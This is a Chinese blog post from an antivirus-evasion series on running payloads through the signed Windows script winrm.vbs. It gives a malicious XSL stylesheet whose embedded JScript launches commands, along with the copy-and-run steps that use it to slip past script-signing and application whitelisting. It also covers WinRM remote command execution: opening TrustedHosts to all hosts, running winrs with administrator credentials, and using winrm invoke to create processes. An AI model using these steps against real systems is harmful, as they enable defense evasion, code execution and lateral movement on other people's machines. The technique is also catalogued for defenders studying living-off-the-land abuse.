【免杀篇】远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 winrm.vbs绕过技术描述

0x02 白名单程序winrm.vbs执行payload

0x03 通过白名单程序winrm.vbs执行系统命令

方式一:执行远程计算机命令

方式二:执行本机计算机命令


0x01 winrm.vbs绕过技术描述

winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“enlightened script host”的限制,导致任意的、无签名的代码执行。

winrm.vbs文件位置:

C:\windows\system32\winrm.vbs
C:\windows\SysWOW64\winrm.vbs

当向winrm.vbs提供“-format:pretty”“-format:text”参数时,它会将WsmPty.xslWsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与Casey Smith的wmic.exe技术完全相同。

0x02 白名单程序winrm.vbs执行payload

工作流程如下:

1、将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。

2、将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。

3、执行winrm.vbs,使用“-format”开关,指定“pretty”或“text”,具体取决于哪个.XSL文件被删除,WsmPty.xsl或 WsmTxt.xsl。

下面是一个“恶意”XSL的例子,它可以放置到攻击者控制的目录中(在这个例子中,是在C:BypassDir/WsmPty.xsl中):​​​​​​​

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"></output>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

WsmPty.xsl的正确武器化可能包括嵌入式DotNetToJScript payload,从而导致执行任意的未签名代码。​​​​​​​

mkdir %SystemDrive%BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%BypassDir
%SystemDrive%BypassDir\cscript.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

效果如图:

0x03 通过白名单程序winrm.vbs执行系统命令

方式一:执行远程计算机命令

前提:必须处于同一域内的两台计算机

Web服务管理协议(WS-Management,Web Services-Management)是一种基于SOAP协议的DMTF开放标准,用于对服务器等网络设备以及各种Web应用程序进行管理。而WinRM(Windows Remote Management)是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。并且WinRM服务自Windows Vista开始成为Windows的默认组件,在运行与启动上有以下几个特点:

  • 在Windows Vista上必须手动启动WinRM服务,但从Windows Server 2008开始,WinRM服务自动启动。

  • 默认情况下,虽然WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。

  • 使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口,同时Windows防火墙生成这两个端口的例外。

WinRM的组件主要由以下几部分构成:

  • WinRM Scritping API:提供给外部的用于执行管理操作的接口。

  • winrm.cmd和winrm.vbs:系统内置的用于配置WinRM的命令行工具,基于VBS脚本并使用了- WinRM Scritping API。

  • winrs.exe:基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令。

关于WinRM环境的配置可以参考:https://docs.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management

配置步骤:

1、在命令行中执行winrm quickconfig对WinRM进行首次(默认)配置;

2、WinRM服务已经开始监听5985/TCP(WinRM2.0开始,WinRM服务的HTTP默认监听端口由原来的80/TCP变更为5985/TCP)端口并等待远程主机进行访问,通过winrm enumerate winrm/config/listener查看WinRM服务当前的配置情况:

3、以此配置为例,此时远程主机已经可以通过WS-Management协议访问http://172.16.111.145/wsman连接当前服务器的WinRM服务。不过,WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。

因此在连接之前,还需要确保发起连接的主机与当前服务器处于同一域或者两台主机的WinRM服务TrustedHosts中必须存在对方主机的IP或主机名,这里类似于一个白名单机制。我们可以执行winrm set winrm/config/client @{TrustedHosts="*"}手动配置当前服务器允许被任意主机连接:

4、在本地Windows主机上也进行相同的设置,允许连接任意Windows主机。接着,使用winrs客户端连接这台Windows服务器即可直接执行系统命令,例如运行winrs -r:http://10.0.83.30:5985 -u:administrator -p:123456 ipconfig得到网络配置信息:

方式二:执行本机计算机命令

在winrm.vbs的参数选项中有一个invoke参数,此操作允许使用WinRM对目标对象执行特定的方法。执行命令winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}将会在本地弹出计算器:

参考链接:

http://sunu11.com/2019/09/02/Command%20execution%20under%20windows/

https://github.com/api0cradle/LOLBAS/blob/3ea62e5e06a980d31412954210064cf0394700fa/OSScripts/Winrm.md

https://www.anquanke.com/post/id/151711

https://0x0c.cc/2019/09/25/%E5%86%85%E7%BD%91%E6%A8%AA%E7%A7%BB%E4%B9%8BWinRM/

https://www.anquanke.com/post/id/151711


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106111303
今日推荐